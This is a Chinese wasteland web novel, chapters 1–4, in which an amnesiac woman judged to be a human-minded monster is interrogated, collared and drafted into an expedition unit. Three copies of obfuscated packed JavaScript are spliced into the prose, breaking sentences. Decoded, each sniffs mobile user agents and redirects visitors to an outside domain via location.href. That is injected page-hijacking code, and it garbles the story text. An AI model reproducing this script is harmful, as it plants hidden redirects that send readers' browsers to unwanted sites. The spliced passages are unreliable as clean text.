《狗牌[废土]》 1. 禁闭室 “姓名?” “单无绮。” “年龄?” “21……22岁?你这三天都问了多少遍了?”单无绮双手双脚戴着特制镣铐,略显无赖地坐在审讯椅上。 她嬉皮笑脸道:“要不你给我登记18岁吧。” 拷问单无绮的军官极具职业素养。 他的黑发短而整齐,身穿制式服装,胸口别着铜制盾徽,肩缀流苏,帽檐的阴影遮住眉毛和上半眼窝,只能看见一对碧绿的眼珠。 “除了你的姓名,你还记得什么?”军官问。 单无绮抬起眼皮。 她上下打量军官,视线滑过对方衣领下的脖颈。 她吹了声口哨。 兹兹兹! 细小的电流从特制镣铐钻出。 单无绮被电得抽搐,满头黑发像逆飞的蛇群一样扬起。 不,不只是“像”。 在军官冷峻的注视下,单无绮的头发和十指不受控制地软化、延长,毛鳞层和角质层迅速半透明化,里面的血管和骨头如同橡胶一样柔韧。 她长出了上百根触手。 电流停下。 单无绮恹恹地蜷起来。 “你现在的感觉如何?”军官提笔。 “……下次电我麻烦打个招呼。”单无绮的声音有气无力。 军官无动于衷。 他在笔录本上刷刷写字。 ——疑似人类。 ——否定。编号357的个体,目前仍判定为异种。 单无绮老实本分地缩在审讯椅上,眼睛盯着黯淡发霉的天花板。 “亏麻了。”她咕哝道,“早知道我就不回来了。” 单无绮是三天前回到基地的。 这里是一片重度污染的废土,人类第一基地是废土唯一的庇护所,也是人类最后的家园。 单无绮在荒野中醒来,衣衫褴褛,四肢健全,记忆全无,唯一的执念就是“回家”。 她无事可做,吹着口哨,循着直觉,踏上返回基地的路。 她在路上杀了几只触手怪。 当看到人类第一基地的高墙时,她的心脏莫名开始悸动。 她用头发拎起脚边的触手怪,朝墙上的人影用力挥舞双臂。 “喂!哥们儿!”她大声喊道,“新鲜现杀的土特产,要不要啦?” 回答她的是一记麻醉弹。 然后,就是密不透光的禁闭室,手脚上的电镣铐,连续三天的流水式拷问,还有面前这个不拘言笑的冷脸军官。 单无绮盯着军官的脸。 她真的觉得这个人很眼熟。 “今天就到这里。”军官合上笔录本,肩上流苏微微晃动,“感谢你的配合,357。” 单无绮死鱼眼:“喂,我有大名!” “他这么做是对的。” 禁闭室外,突然传来另一人的声音,“根据你的口供,你失去了大部分记忆,单无绮可能并非你的真名,所以用编号称呼最为稳妥。” 单无绮抬起眼皮。 禁闭室十分昏暗,只有头顶的灯泡散发着微弱的白光。 重重铁栏外,一个模糊的人影站立着,双手背在身后,肩膀宽阔,即使看不清面容,也是十分可靠的大男子形象。 男人走进来:“无绮,好久不见。” 单无绮眯眼看了半晌。 “你谁啊?”她微弱地嘀咕,“还有,你的两撇胡子修得挺漂亮的。” “首长。”军官拘谨而恭敬地说。 单无绮:“……” 单无绮:“不好意思哈,冒犯了。” 首长鼓励地拍拍军官的肩膀。 流苏轻晃,军官冷峻的脸庞顷刻浮上激动的薄红。 “这三天辛苦你了,萨摩。”首长道,“不管她有没有失忆,都是一样的顽皮赖骨,你要对付她,除非抓住她的七寸,不然她反口就能把你拆吃入腹。” 萨摩行了个军礼:“是!感谢首长教诲!” “你到外面守着,我和她说说话。”首长挥手。 萨摩温顺地走出去,在铁栏外站立如一棵冷松。 单无绮冷眼看着二人互动。 “我们认识?” “你忘记了不少事情。”首长沉稳地看着单无绮,两撇黑胡须十分俊俏,“根据共荣部的血液检测结果,你是一个异种,但极大程度地保留了人类的自我意识。” 单无绮回忆片刻。 关进禁闭室的第一天,一个白大褂抽了她一管血。 “效率挺高的嘛。”她咕哝道。 “你的身体完全是个异种。”首长继续说,“你拥有人类意识这个结论,是我根据你的口供推导的。” “你信了我的口供?” “那些口供就是一沓废纸,但你愿意配合口供,已经足以证明你是单无绮了。” 单无绮:“……” “你很珍贵。”首长继续说,“你是唯一保留人类意识的异种,你明白这意味着什么吗?” 单无绮哂笑:“你要把我像珍稀动物一样关进笼子,然后向基地公民兜售门票吗?” “不,这太浪费了。” “……” “无绮,你是我的心腹,我最信赖的副官,没有之一。”灯光昏暗,首长的眼神无法看清,“你因为莫须有的罪名被我亲手流放,但如今,你已经平安归来——你愿意再次为我所用吗?” 单无绮沉默。 良久,她终于开口。 她甚至没有抬头,只抬起一双眼皮,姿态轻蔑得近乎狂妄。 “可以啊。”她说。 “我不清楚你的为人,但我知道你位高权重,这就足够了。”她嘲讽地笑道,“这是一门好生意,而我除了一条命,已经一无所有。” 她的蓝眼睛仿佛狼瞳:“说吧!你想让我做什么?” 首长安静地看着单无绮。 他的衣领很高,两撇胡须遮住上唇。 昏暗的禁闭室里,他被遮挡的下脸看不出表情,可供观察的唯有一双沉静的黑眼睛。 “你会理解的。”首长说,“为了人类的黎明。” …… 三分钟后,首长离开禁闭室。 萨摩紧绷神经,向首长行礼致敬。 但看到首长身后的人影时,他的目光僵硬了一瞬。 “首长,”萨摩的声音有一点意外,“357……” 单无绮抬起头,朝萨摩吹了个口哨。 她雪白的脖子上,黑色拘束器反射着微光。 “她是单无绮,即将入职团结部调查司。”首长沉声解释,“她是一名见习调查员,任务是配合调查司,展开壁外活动,查明污染真相。” 萨摩的喉结动了动:“那她的档案……” “借调,档案不动。”首长拍拍萨摩的肩膀,“麻烦送她去调查司,顺便给她科普下常识。” 萨摩显然是首长的狂热粉丝。 好像人类抚摸小狗的脑袋,首长只需拍拍他的肩膀,他就激动地回应:“好的!首长!” 首长离开了。 单无绮和萨摩大眼瞪小眼。 萨摩的表情迅速冷却。 单无绮无语地盯着萨摩:“喂,没必要这么区别对待吧!” “从禁闭室到调查司的这段路程上,我将对你的安全负责。”萨摩公事公办地说,“请跟我来,我带你去调查司报到。” 单无绮逗弄了好几次,萨摩毫不接招。 她放下心思,安分地跟在萨摩身后。 二人沿狭窄的走廊离开,沿途的禁闭室安静而空荡。 单无绮闻到了残留陈血的味道。 “这里是哪里?”单无绮问。 “中央区,特情司总部。”萨摩答。 单无绮算是明白了,这位军官就是个一板一眼的家伙,问什么就答什么。 她无奈地追问:“可以展开说明一下吗?” “这是机密,非核心党员不能……”萨摩程序化地回答。 但说到一半,他突然顿在原地。 单无绮好奇地看着萨摩。 “……你可以知道这些,抱歉。”萨摩的语气竟然有一丝歉意。 他站在原地,表情僵硬,仿佛一块冰冷的石头。 但稍微相处过的人都能看出,他现在有一点手足无措。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429110|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 单无绮环臂:“接着说呀。” “基地一共有四个部门:团结、友爱、勤劳、共荣。” 萨摩缓过神,对单无绮解释道,“你即将入职的地方,就是团结部的调查司。” 单无绮追问:“团结部?” “团结部负责军备和战争,主要执行对外工作。”萨摩答,“例如,调查司负责壁外调查。” “既然有对外,那一定还有对内喽?” “是的,这是友爱部的工作。” “展开说说?” “我是友爱部的核心党员,同时是特情司司长。”萨摩说,“友爱部名下,除了特情司还有稽查司,但我们的工作都是对内的,区别是特情司对党员负责,稽查司对普通公民负责。” “好复杂啊!”单无绮抠脑壳,“能不能概括一下?最好能让我一下子记住那种。” 萨摩安静了一瞬。 “洗脑、审讯、拷打,这就是友爱部的工作。”他轻声说,“稽查员又称思想警察,特情员又称……拷问官。” 单无绮沉默了。 萨摩的绿眼睛看着单无绮,帽檐下的睫毛抖动了一瞬。 他道:“友爱部的名声并不好,你……” “所以你动不动就电我。”单无绮总结道。 萨摩:“……” 萨摩:“嗯。” 萨摩是个厉害的拷问官,但他不是个好解说员。 他叽里咕噜说了一大堆,单无绮听得头疼,只记住了那句“团结、友爱、勤劳、共荣”。 单无绮摆手:“不说这个了。” “你带我去那什么……调查司!”她兴致勃勃地说,“我去见见我的新上司。” 萨摩点头。 他带单无绮离开特情司,前往调查司。 一路上,单无绮脖子上的拘束器频频引人回眸。 “看,”有人窃窃私语,“是狗牌。” 单无绮看了眼拘束器。 她面不改色,继续往前走。 萨摩停下脚步:“你不生气?” “当然有一点啦。”单无绮坦诚地回答,“但我理解他们。” “从三天前,那颗麻醉弹射向我的瞬间开始,我就知道,我已经不是人类了。”她唏嘘地望天。 她伸手抚摸拘束器。 它戏称“狗牌”,质地冰冷而坚硬。 即使戴在她颈上那么久,也不曾煨暖半分。 “……发现你的那个党员曾是你的下属,那枚麻醉弹不是他射出的。”萨摩突然道,“当时我也在现场,举枪的人是梅。梅射出的那枚子弹,一开始也不是麻醉弹,而是真正能杀人的子弹。” 萨摩的话信息量很大。 单无绮看向萨摩:“梅是谁?” “梅·亚历克谢,他的母亲是亚细亚人,和你一样。”萨摩答,“他是团结部的核心党员,执行司司长。你即将入职团结部,日后少不了和他打交道。” 单无绮听得头疼。 “不是只有四个部门吗,怎么有那么多司!”单无绮吐槽。 所幸,她还记得那句口号。 ——团结、友爱、勤劳、共荣。 “我记得团结部……是负责对外工作的?”单无绮问道,“调查司,执行司……我要去的调查司,是去墙壁外面干活的。那么执行司呢?执行司负责什么工作?” “团结部负责军备和战争。”萨摩委婉地答。 单无绮瞪眼:“说人话!” “尽管四部党员都有佩枪权,但只有团结部党员有开枪权。”萨摩解释道,“调查司从壁外回来后,除了污染样本,还可能带回异种——这个时候,就轮到执行司工作了。” 单无绮眨了眨眼。 她思考了片刻,迟疑地问:“执行司……负责击杀异种?” “嗯。” 单无绮:“……” 她的脑子里迅速出现一道题目。 已知:单无绮,编号357,官方认证为一名拥有人类意识的异种,即将前往团结部就职。 问题一:单无绮和梅偶遇的概率是多少? 问题二:梅击毙她的概率是多少? 2. 梅·亚历克谢 此后,二人一路无话。 在萨摩的带领下,单无绮来到调查司。 调查司和执行司隶属团结部,总部都在同一栋大楼。 单无绮的脑子乱糟糟的。 她祈祷:“拜托,千万别让我遇到梅。” “你怕他?”萨摩问。 “经你这么一说,谁会不怕他啊!”单无绮没好气地回答,“梅是想要杀掉我的人,但我居然和他在同一个部门!” 萨摩眨了眨眼,弧度很细微。 他拉低帽檐:“抱歉,我让你不安了。” 单无绮新奇地看向萨摩:“你在自责吗?” “是的,从禁闭室到调查司的这段路程上,我对你的安全负责。”萨摩正直地解释,“心理安全也是安全的一种。” 单无绮:“……” 萨摩表面看起来不苟言笑,实际上……也很不苟言笑。 他像一条严肃的警犬,因为没有做好工作而变得沮丧。 从萨摩的脸上,单无绮什么也看不出来,唯有微不可察的低气压暗示了他的坏情绪。 萨摩从兜里摸出一张硬卡,肩上流苏微微晃动。 单无绮的注意力很快被吸引了。 “这是什么?”她问。 “电梯卡。”萨摩答,“基地的电力资源十分有限,只有核心党员能无限次乘坐电梯。” 他顿了顿:“梅从不坐电梯。” 单无绮真情实意地说:“萨摩,你是个好人。” 萨摩和单无绮来到电梯前。 萨摩按下上楼键。 电梯缓慢下降,慢如龟爬。 单无绮突然明白梅为什么不坐电梯了。 ——有这个等待的时间,她都爬上爬下三个来回了。 萨摩安静地站在一旁。 他是个沉默寡言的人,身为特情司司长,他的刑具比他更擅长言语。 “喂。”单无绮突然说。 萨摩偏过头。 “我们从前是不是认识?”单无绮眯眼看着萨摩,她真心实意地觉得,这张脸非常眼熟,“还有那什么档案,首长说——借调,档案不动。” 单无绮盯着萨摩的脸:“你介意和我解释一下吗?” 萨摩和单无绮安静地对视。 单无绮看着他帽檐阴影下的绿眼睛。 ——他在犹豫。 “我……”萨摩终于开口。 叮! 电梯到了。 提示音拉回了萨摩的理智,他立刻扭过头,用力拉低帽檐,认真地看着紧闭的电梯门。 单无绮:“……” 单无绮咬牙切齿。 她哼了一声,看向电梯。 电梯门缓缓打开。 出乎单无绮的预料,这趟下行的电梯没有空转,里面站着一个人。 那人是个男性,高挑纤细,腰带束得很紧。 他穿着和萨摩相同的制式服装,胸佩铜制剑徽,只有左肩缀着流苏。他的帽子斜戴,盖住右眼,腿和腰比萨摩削瘦很多,靴子一只长一只短,有些不成体统。 单无绮粗略地瞥了一眼,大步迈进电梯。 她看向萨摩:“进来呀。” 萨摩颔首:“日安,梅。” 单无绮:“…………” 单无绮僵着脖子,脑袋“咔咔”地转向梅的那一侧。 梅恰巧投来目光。 “单无绮?”梅的声音意外有点虚弱,带着一点沙哑,仿佛铁片相互摩擦。 单无绮沉默地看着梅,余光落在对方腰间的手枪上。 梅打了声招呼,没等来单无绮的回应。 他抬起手—— “啊啊啊啊啊不要杀我!”单无绮抱头蹲防,“我虽然是异种,但首长亲口说我有人类意识啊!拜托你一定要把我当成人类啊!我们都在团结部,你如果要杀我,我根本防不胜防啊!” 梅:“……” 萨摩:“……” 梅斜戴着帽子,露出的一只眼睛晦暗扑朔,看不清情绪。 萨摩看着单无绮。 禁闭室的三天里,单无绮几乎尝遍了所有刑具。 她是唯一保有人类意志的异种,首长和共荣部发来文件,要求萨摩采集单无绮的数据,不择手段,不计后果。 单无绮被流放前,萨摩曾与她共事数年。 萨摩是让人闻之色变的特情司司长,他犹豫了许久,最终睁只眼闭只眼,以尽可能温和的手段拷问单无绮。 但每次结束拷问,萨摩看着笔录本,都会陷入沉默。 上面写满了逻辑正确的废话,是标准的口供模板。 即使单无绮失去了大部分记忆,但反审讯的本能已经刻进她的骨子里。 萨摩回忆起首长的评价。 ——不管她有没有失忆,都是一样的顽皮赖骨,你要对付她,除非抓住她的七寸,不然她反口就能把你拆吃入腹。 但现在…… 萨摩看着蹲在电梯角落的单无绮,一瞬间顿悟了首长的话。 单无绮惜命。 她的命就是她的七寸。 时间一秒秒过去,电梯门自动合上。 萨摩看着单无绮绝望的眼神,本能地触碰按钮,想把电梯门重新打开。 梅突然盯向萨摩,左眼蕴着警告。 萨摩愣了一瞬。 电梯门合上了。 沉闷的嗡鸣声中,电梯缓慢而坚定地开始上升。 “……抱歉。”萨摩拉低帽檐。 他看着铁灰色的电梯门:“我……果然还是更害怕梅。” * 单无绮缩在电梯角落。 梅露出的左眼盯着单无绮。 “你很怕我?”他的声音极轻,分辨不出情绪,“我听说了你的事,特情司的那群小兔崽子说,你失忆了。” 单无绮微微抬头。 “站起来!”梅的语气骤然变得冷厉,“这样畏首畏尾,像什么话!” 单无绮“嗖”地一下站起来了。 单无绮失去了大部分记忆,但她连异种都敢随便杀,如今面对梅时,骨子里冒出的恐惧却攫住了她的神经,让她一丝挣扎的心思都生不出。 她认命地闭眼。 “……你杀了我吧。”单无绮说。 电梯嗡嗡上升,封闭狭窄的空间里,只有梅和单无绮两个人。 单无绮站在原地,双眼紧闭。 一只手突然揉上她的发顶。 单无绮睁开一只眼睛。 “你以前不是这样的。”梅的脸庞有些苍白。 他的确十分虚弱,单无绮的感觉并非错觉。 “你被流放时,首长将我调走,我跑到城墙上时,你的背影已经看不见了。” 梅的左眼看着单无绮,其中闪烁的光芒也许可以称作“温柔”:“我从没想过你还能回来。你出现在城墙下时,我的大脑疯狂示警,理性告诉我你是异种,感性告诉我你是人类,于是我用麻醉弹替换了子弹,朝你开了一枪。” 单无绮微弱地问:“……必须朝我开枪吗?” “我是执行司司长,执行员的典范与标杆,你说我能不开枪吗?”梅说。 单无绮眨了眨眼。 她放下环住身体的手臂:“我以为你是杀人不眨眼的人形兵器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429111|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢,没想到你挺有人情味的。” “你的脑子被墙外面的异种吃掉了吗?”梅怒斥道。 单无绮再次搂住自己。 梅眼神冰冷:“放下。” 单无绮放下手臂。 “是萨摩那个狗崽子说的,对吧?”梅的左眼凌厉地盯着单无绮,目光好似剔骨尖刀,“你在禁闭室待了三天,他也拷问了你三天,你竟然还能相信他的话,你是斯德哥尔摩症患者吗?” 单无绮:“……” 单无绮:“是我乱猜的。” “别被萨摩唬弄了,他最擅长利用自己那张无辜的脸。”梅的语气恨铁不成钢,“但他有一点好处,他不会说谎,只会把真话排列组合,用另一种方式来骗人——你也没猜错,我的确杀人不眨眼。” “那……” “但我不会杀你。”梅打断单无绮。 单无绮怀疑地盯着梅。 叮! 电梯提示音响起。 紧闭的电梯门缓缓打开。 扑面涌来的明亮光线中,梅摘下斜戴的帽子,露出藏起的右眼。 ——他的右眼没有眼球,只有一个空洞的眼窝。 单无绮目瞪口呆。 “要杀你的话,三年前我就下手了。”梅好笑地哼了一声。 他仅剩的左眼倒映出单无绮的脸,仿佛一面浅灰色的镜子。 “我的右眼是被你抓瞎的,我摘除了它。”他说,“那年我们大吵了一架,你执意寻死,我极力劝阻,你像不听话的野猫一样乱叫乱抓,逼我撒开了手——你不记得这些了,没关系,你只需要记住,我永远、永远不会杀掉你,除非你不再是单无绮。” 梅伸出一只手,将单无绮推出去。 他的力道极轻,仿佛推搡一只小猫。 单无绮走出电梯,回头看向梅。 她问:“我们是什么关系?” “情比金坚的共轭父子,同甘同苦的患难师徒,杀人放火的可靠盟友。”梅的嘴皮子很利也很毒,“你在我面前从来都是张牙舞爪,但如今的你胆怯又畏缩,希望下一次见面时,你至少能够挺直腰杆说话。” 单无绮大声道:“说人话!” “有点从前的样子了。”梅笑了笑。 他说:“下次见,我悬殊十一岁的亲妹妹。” 电梯门合上了。 萨摩从步梯口出现,单侧肩膀沾着些许墙灰。 单无绮看了萨摩一眼。 她伸出手,从萨摩腰间拔出手枪,将枪口对准萨摩。 “从现在起,我问,你答。”单无绮凌厉得近乎凶狠。 萨摩安静片刻,缓缓举起双手。 “你是谁?” “友爱部特情司司长,萨摩·亨特。” “被流放前,我是谁?” “……”萨摩犹豫了一瞬。 但下一秒,冰冷的枪口径直抵上萨摩的眉心。 单无绮抓住萨摩的领子,高矮立刻对调。 原比单无绮高一头的萨摩,如今半跪在地上,脑袋只到单无绮胸口。 萨摩想要低头。 单无绮钳起萨摩的下巴。 她的枪纹丝不动:“想好答案了吗?” “请你放下枪,无绮。”这时,另一个声音从单无绮身后传来,“萨摩还是个孩子,别把他吓坏了。” ——这世上搅局的人永远比做局的人多! 单无绮松开萨摩。 萨摩跌坐在地,又滚身起立,低下头,沉默地拍打制服上的灰尘。 单无绮转过身。 一个戴着单片眼睛的老头笑眯眯地看着单无绮。 3. 只有六个人的调查司 这个老头莫名的眼熟,是比萨摩更眼熟的那种眼熟。 单无绮背靠墙壁:“你是谁?” “特情司的消息果然不假,你失忆了。”老头脸上布满皱纹,头发却乌黑茂密。 他微笑道:“我是团结部部长阎银华,在你被流放前,我们曾有一段快乐的共事时光。” 单无绮盯着阎银华的黑发。 她被直觉驱使着开口:“你的头发……” “你还是那么敏锐。”阎银华摘下黑发,“没错,这是假发。” 单无绮:“……” 单无绮:“我只是随口一说。” “萨摩,你先回去吧,辛苦你了。”阎银华拍拍萨摩的肩膀。 阎银华看起来比首长还大一辈,他似乎十分清楚,这个动作能够安慰到萨摩。 萨摩的眼睛重新明亮了。 他快速整理好制服,朝阎银华行了个军礼,又对单无绮颔首示意,沿着步梯下楼离去。 “真是个有礼貌的好孩子啊。”阎银华笑眯眯地感慨,“四部里面,我果然最喜欢萨摩。” 短短五分钟内,单无绮从团结部的两位核心党员口中,听到了关于萨摩的两种评价。 大相庭径。 天差地别。 她开口:“我能问问您对四部其他人的评价吗?” 阎银华不假思索:“四部是一个巨大的精神病院,里面住着各处搜罗来的疯子,他们唯一的区别就是病情的轻重程度——萨摩除外,他是四部里唯一的正常人。” 单无绮沉默了一瞬。 她追问:“那首长呢?” “他是个可敬的疯子,我敬佩他,但不会成为他。” 阎银华说着,单片眼镜后的目光投向单无绮:“还有你,无绮,你也是疯子。但如今,你不仅是一个疯子,还是一个异种。” 单无绮下意识举枪。 下一秒,她震惊地低头。 萨摩不知何时顺走了她手里的枪! 她竟然现在才有所察觉! “年轻人,不要杀气那么重。”阎银华保持和善的微笑,“跟我来,我负责安排你的工作。” 单无绮垂眸未动。 “无绮,听我一句劝。”阎银华叹了口气,“不管你内心有多少疑问,现在的你,是团结部的见习调查员。” 单无绮沉默。 良久,她说:“我好像正在卷入一个漩涡。” “基地的每一个人,无论公民、党员还是核心党员,都身陷相应的漩涡。”阎银华重新走近单无绮。 他已经佝偻,整个人矍铄且清瘦。 当他站到单无绮面前时,他必须微微仰起头,才能和单无绮对视。 “啊,我忘了,你也是一个小孩子,比萨摩大不了多少。”阎银华的声音蕴着无奈和包容,“我的办公室有一个糖罐,里面装满了漂亮糖果,你要来抓一把吗?” 单无绮:“我不是小孩子。” 但她的脚步不由自主地动了。 单无绮跟随阎银华来到办公室。 阎银华踮起脚,从玻璃木柜的高处,艰难地拿下一个陶罐。 他对单无绮笑了一下,打开封盖。 里面盛满了五颜六色的糖果。 单无绮拿了一颗,拨开糖纸,将圆溜溜的糖果送入口中。 甜滋滋的味道在口腔里流窜。 她将糖果压在舌根下。 阎银华看着单无绮吃掉糖果,镜片后的目光愈发和蔼。 他对门外说:“你们可以进来了。” 单无绮转过头。 不知何时起,门外多出了一个两个……六个脑袋。 他们按高矮排序,脑袋沿着门框,从上至下排成一列。 阎银华出声后,六个脑袋顷刻解体。 门外的六人带着各异的表情,按照某种顺序,站在阎银华和单无绮面前。 单无绮死鱼眼。 ——她的直觉告诉她,这六个家伙都是奇葩。 “这位是单无绮,相信你们已经听过她的大名了。”阎银华将单无绮介绍给六人,“她现在借调到了团结部,作为一名见习调查员,配合我们开展下一次壁外活动。” 六人的身高是等差数列,男女对半。 最矮的是个萝莉,目测不超过十岁,扎着两条大羊角辫,十指指甲涂着跳色甲油。 羊角辫萝莉举手:“阎爷爷,我可以问她一个问题吗?” 阎银华看向单无绮。 单无绮:“可以。” “我能摸摸你的触手吗?”羊角辫萝莉语出惊人,“我听说你是异种,调查司已经很久没活捉过异种了,我很好奇,异种的触手究竟是什么手感?” 单无绮看向阎银华。 阎银华点头。 单无绮看着面前的小萝莉,呼出一口气,将头发异化。 异化的过程中,单无绮感受到一股巨大的阻力。 她立刻明白了拘束器的威力。 因为拘束器,单无绮无法完全异化。 她的头发只延长到从前的一半,虽然成功变成了触手,但十分枯瘦,看起来绵软无力,还有种一捏就断的脆弱感。 单无绮把触手放到萝莉手心里。 萝莉捏了捏。 “像软糖。”她的眼睛亮了一下。 下一秒,没等众人反应过来,她抓起手中的触手,张开嘴巴,用力咬了一口。 单无绮:“!!!” 单无绮:“那个不能乱吃啊!” “佩佩!”等差数列六人组中,一个比单无绮矮一点的少女站了出来。 她的眼睛大而明亮,是不纯的蓝色。 当她站出来时,窗外的光线打在她的脸上,她的虹膜变成了奇异的淡紫色。 女孩子把触手从佩佩嘴里抢救出来。 佩佩“呸”了好几下。 她瘪嘴:“咬不动。” “别管她,阮禾。”六人组中,最后的女性开口。 她的身高和单无绮接近,体格纤细,浑身的衣物和饰品都是黑色,衬得她好似一只告死鸟。 察觉单无绮的目光,她抬起眼皮,语调优雅又高傲:“你好,我是尤娜。” 剩下的三个男性,一个是正太,两个是成年男人。 他们沉默地站在队列中,从头到尾没有开口。 单无绮安静地审视六人组。 她回忆起阎银华的评价。 ——四部是一个巨大的精神病院,里面住着各处搜罗来的疯子。 她深吸一口气:“请问,他们是……?” “调查司的党员是四部中最少的,他们就是调查司的全部党员了。”阎银华说。 单无绮眼前一黑。 她重新看向六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429112|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人组。 “所以,我们是同事?”她迟疑地问。 阎银华点头。 单无绮突然有种“完蛋了”的感觉。 在阎银华的安排下,六人组分别向单无绮做了自我介绍。 最矮的那个萝莉叫佩特拉,昵称佩佩。 倒数第二矮的是个正太,自我介绍时,整个人恨不得缩进地里,他叫维沙尔。 瞳色是不纯蓝的女孩子,有一半亚细亚血统,随母姓,叫阮禾。 告死鸟少女叫尤娜。 六人组中,最高的人和第二高的人都是男性。 最高的人叫安多尼,手腕上带着一串玫瑰念珠,肩膀宽阔,胸肌健硕,体格的雄伟程度甚至超过了首长。 “愿主保佑你。”安多尼为单无绮送上祝福。 “谢谢,我是无神主义者。”单无绮答。 “愿科学保佑你。”安多尼从善如流地改口。 单无绮:“……” 第二高的男性咳嗽一声。 “我叫庄修文。”他说,“很高兴认识你。” 他是六人组中看起来最正常的,普通身高,普通体型,普通长相,整个人平平无奇,扔进人群眨眼就无法找到。 单无绮热泪盈眶:“你好,庄修文。” “记得叫他招妹。”告死鸟尤娜说,“他是我们之中唯一父母双全的。叔叔阿姨一直想要个女儿,还特意找到司长,要求整个调查司的人都要叫他招妹。” 庄修文:“……” 单无绮:“你好,招妹。” 庄修文:“…………” 单无绮看向各有千秋的六人。 “请问,你们谁是司长?”她问。 单无绮问出这个问题后,原本热闹的办公室突然安静了。 尤娜抬起眼眸,漆黑的瞳仁直直瞪视单无绮。 佩佩和阮禾本在笑闹,却一瞬间偃旗息鼓,仿佛一对枯萎的双生花,安静地站在房间角落。 维沙尔的眸底泛起泪花。 安多尼抬起手腕,玫瑰念珠在他的指尖无声滚动。 庄修文沉默不语。 单无绮眨了一下眼,突然意识到,自己可能问了一个敏感的问题。 她看向阎银华。 “你眼前的六人,是上一次壁外调查中,唯六的生还者。”阎银华摘下单片眼镜。 他的眼眸略显浑浊,沉淀着岁月淌过的伤痕与叹息。 “调查司的福利待遇是最好的,甚至比背靠研究所的共荣部还要好,但每一年,新党员都会不约而同地略过调查司,即使强行分配,也会想尽办法调走。” 阎银华背着双手,转身看向窗外,“十一年前,调查司的人数已经低于警戒线,但直到今天,调查司也没有解散,你们思考过为什么吗?” 单无绮没有吭声。 佩佩举手:“答对了有糖吃吗?” “答不对也有糖吃。” “我想过,每个晚上我都在想。”佩佩的声音更自信了,“因为调查司很重要。” “回答正确。”阎银华笑道,“你抓一把糖吧。” 佩佩毫不客气地抓了一大把,两只小手攥满了糖果,甚至掉出来了一些,又被她用裙摆接住。 “第二个问题。”待佩佩抓稳糖果,阎银华收敛笑意。 他的表情倏而严肃:“调查司为什么重要?” 4. 异化的佩佩 阎银华期待地看向单无绮。 单无绮摊手:“别指望我蒙对答案,我对基地一无所知。” 尤娜看了单无绮一眼。 一瞬后,她重新垂下眼眸,细长略疏的睫毛半遮着瞳仁。 阎银华笑呵呵:“没关系,你可以说说看。” “喂,银老头,你这多少有点强人所难了。”无意中,单无绮如此称呼道,“你是不是忘了,我是一个异种,只是保留了人类意识而已!” 听到单无绮的称呼,阎银华微不可察地停顿了一下。 但下一刻,他重新扬起笑脸,比之前的微笑更大,更灿烂。 “四部建立之初,第一位首长并无太多政治上的考量,更多的,是本着一颗人类的心,为人类的未来铺路。” 在办公室所有人的注视下,阎银华温和地说,“让我们来拆解一下这个问题吧——无绮,你知道基地四部是哪四部吗?” 单无绮大咧咧道:“当然了!团结、友爱、勤劳、共荣。” “你对基地并非一无所知啊。”阎银华看着单无绮,“萨摩和你热情地聊了很多吧?” 单无绮回忆萨摩一路上的表现。 表情又冷又僵,聊天问一声答一句,仿佛一块硬邦邦的石头。 ——她根本没法把萨摩和“热情”“聊了很多”这些形容词联系起来。 单无绮耸肩:“也许吧。” “四部地位相同,但团结部在口号中最为靠前,因为团结部的使命,同时也是人类的使命。”阎银华重新戴上单片眼镜。 他看向所有人:“人类第一基地的占地面积是多大?” “78.5万平方千米。”庄修文答。 “人口呢?” “具体到个位数的话,要去友爱部的档案室查阅。我只知道大约有130万。” “你的历史学得怎么样?”阎银华突然问道。 庄修文愣了一下:“还行吧?我是以第三名的成绩保送进团结部的。” “大灾变爆发前,人类一共有多少土地?” “这不是课本上的知识,阎老。但我粗略推算过,大概是1.5亿平方千米。” “人口呢?” “许多资料已经不可考,我没法给出精确到个位数的数据——四舍五入的话,人口有80亿。” “1.5亿平方千米对78.5平方千米,80亿对130万。”阎银华道。 单无绮回过味了。 她想起萨摩的话。 ——团结部负责军备和战争。 “人类,不可能永远挣扎在弹丸之地上。”单无绮收敛了所有嬉笑。 她的声音有点低沉:“如今,人类第一基地是唯一的庇护所,我们也是人类最后的火种。但龟缩一隅只是暂时的妥协,我们终有一天会把所有土地夺回来,无论外面是天灾还是异种。” 单无绮第一次如此严肃。 调查司六人惊奇地看向单无绮。 阎银华看着单无绮的脸,目光扫过她颈上的拘束器。 他突然笑出声:“无绮,你果然还是你。” 单无绮突然惊醒。 她脸上冷峻的神色一瞬间冰消雪解,眨眼后,她又变回了吊儿郎当的无赖模样。 单无绮重新挂上笑脸:“银老头,漂亮口号谁不会喊啊?” 